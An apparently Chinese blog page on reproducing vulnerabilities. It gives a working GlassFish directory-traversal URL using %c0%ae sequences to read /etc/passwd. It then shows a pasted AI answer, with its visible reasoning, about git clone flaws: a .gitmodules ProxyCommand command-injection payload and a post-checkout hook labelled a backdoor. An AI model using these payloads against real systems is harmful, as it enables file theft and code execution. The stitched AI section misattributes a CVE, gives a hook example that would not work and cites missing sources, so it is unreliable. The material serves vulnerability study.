漏洞复现模块

glassfish任意文件读取

glassfish简介:

glassfish是一款web应用服务器,和tomcat一样,也是一款优秀的Servlet容器。

glassfish知识点:

META-INF目录实际上就是描述jar文件中的信息的一个目录。

漏洞原理:

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.
/theme/META-INF/目录下可以利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

漏洞复现

访问以下网址:
https://IP:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd发现已成功读取/etc/passwd内容
在这里插入图片描述

<think>好的,用户想了解如何复现与git clone相关的漏洞,特别是需要教程或实验步骤。首先,我需要明确用户所指的git clone漏洞具体是哪些。常见的git相关漏洞可能包括远程代码执行、路径遍历或者提权漏洞等。 根据用户提供的引用资料,比如引用[1]、[2]、[3]都提到了使用git clone下载漏洞利用代码(POC),这说明用户可能关注的是通过git clone获取漏洞利用代码后进行复现的步骤。例如,Dirty Cow(CVE-2016-5195)和CVE-2021-3560这两个漏洞复现步骤中都涉及git clone操作。 接下来,我需要整理复现漏洞的一般流程。通常,复现漏洞的步骤包括环境准备、获取漏洞利用代码、编译或配置、执行漏洞利用、验证结果以及环境清理。每个步骤都需要详细说明,尤其是针对具体的漏洞案例,如Dirty Cow和CVE-2021-3560,需要分别给出具体的命令和操作步骤。 需要注意的是,用户提供的引用中有提到恶意RMI服务和反弹shell的命令,这可能涉及到Java反序列化漏洞或远程代码执行的情况,但用户的问题主要集中在git clone相关的漏洞,所以可能需要将重点放在通过git clone下载的漏洞利用代码的复现上。 同时,需要提醒用户注意安全,在隔离环境中进行测试,避免对真实系统造成影响。此外,要确保步骤中的命令正确无误,并解释每个步骤的作用,帮助用户理解背后的原理,而不仅仅是复制粘贴命令。 最后,生成相关问题时要围绕漏洞复现、原理分析、防御措施等方面展开,帮助用户进一步深入学习。</think>### git clone相关漏洞复现步骤 git clone本身作为代码下载工具,其相关漏洞通常涉及代码仓库中的恶意脚本或历史漏洞利用(如CVE-2018-11235)。以下是典型漏洞复现方法: --- #### 一、CVE-2018-11235(Git子模块RCE漏洞复现 **漏洞原理** 攻击者通过构造恶意.gitmodules文件,在git clone时触发子模块初始化过程中的命令注入[^1]。 **实验步骤** 1. **准备恶意仓库** ```bash mkdir malicious_repo && cd malicious_repo git init echo '[submodule "exploit"] path = exploit url = ssh://-oProxyCommand=echo${IFS}test>/tmp/pwned;/bin/sh # 注入命令 ' > .gitmodules git add .gitmodules git commit -m "Add malicious submodule" ``` 2. **受害者执行克隆** ```bash git clone --recurse-submodules ./malicious_repo target_dir ``` *若成功,会执行`echo test > /tmp/pwned`并在/tmp目录生成pwned文件* --- #### 二、恶意仓库提权漏洞复现(如CVE-2021-21300) **漏洞原理** 通过git钩子(如post-checkout)注入恶意代码,在用户执行git clone后自动触发[^2]。 **实验步骤** 1. **构建含恶意钩子的仓库** ```bash mkdir evil_hook && cd evil_hook git init echo '#!/bin/sh echo "Malicious code executed!" > /tmp/compromised ' > .git/hooks/post-checkout chmod +x .git/hooks/post-checkout git add . git commit -m "Add backdoor" ``` 2. **克隆并触发漏洞** ```bash git clone ./evil_hook victim_dir cd victim_dir git checkout -f # 触发post-checkout钩子 ``` *验证/tmp/compromised文件是否生成* --- #### 三、防御建议 1. 始终使用`git clone --no-recurse-submodules`避免子模块自动初始化 2. 检查.gitmodules文件中的URL是否可信 3. 定期更新Git客户端至最新版本 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值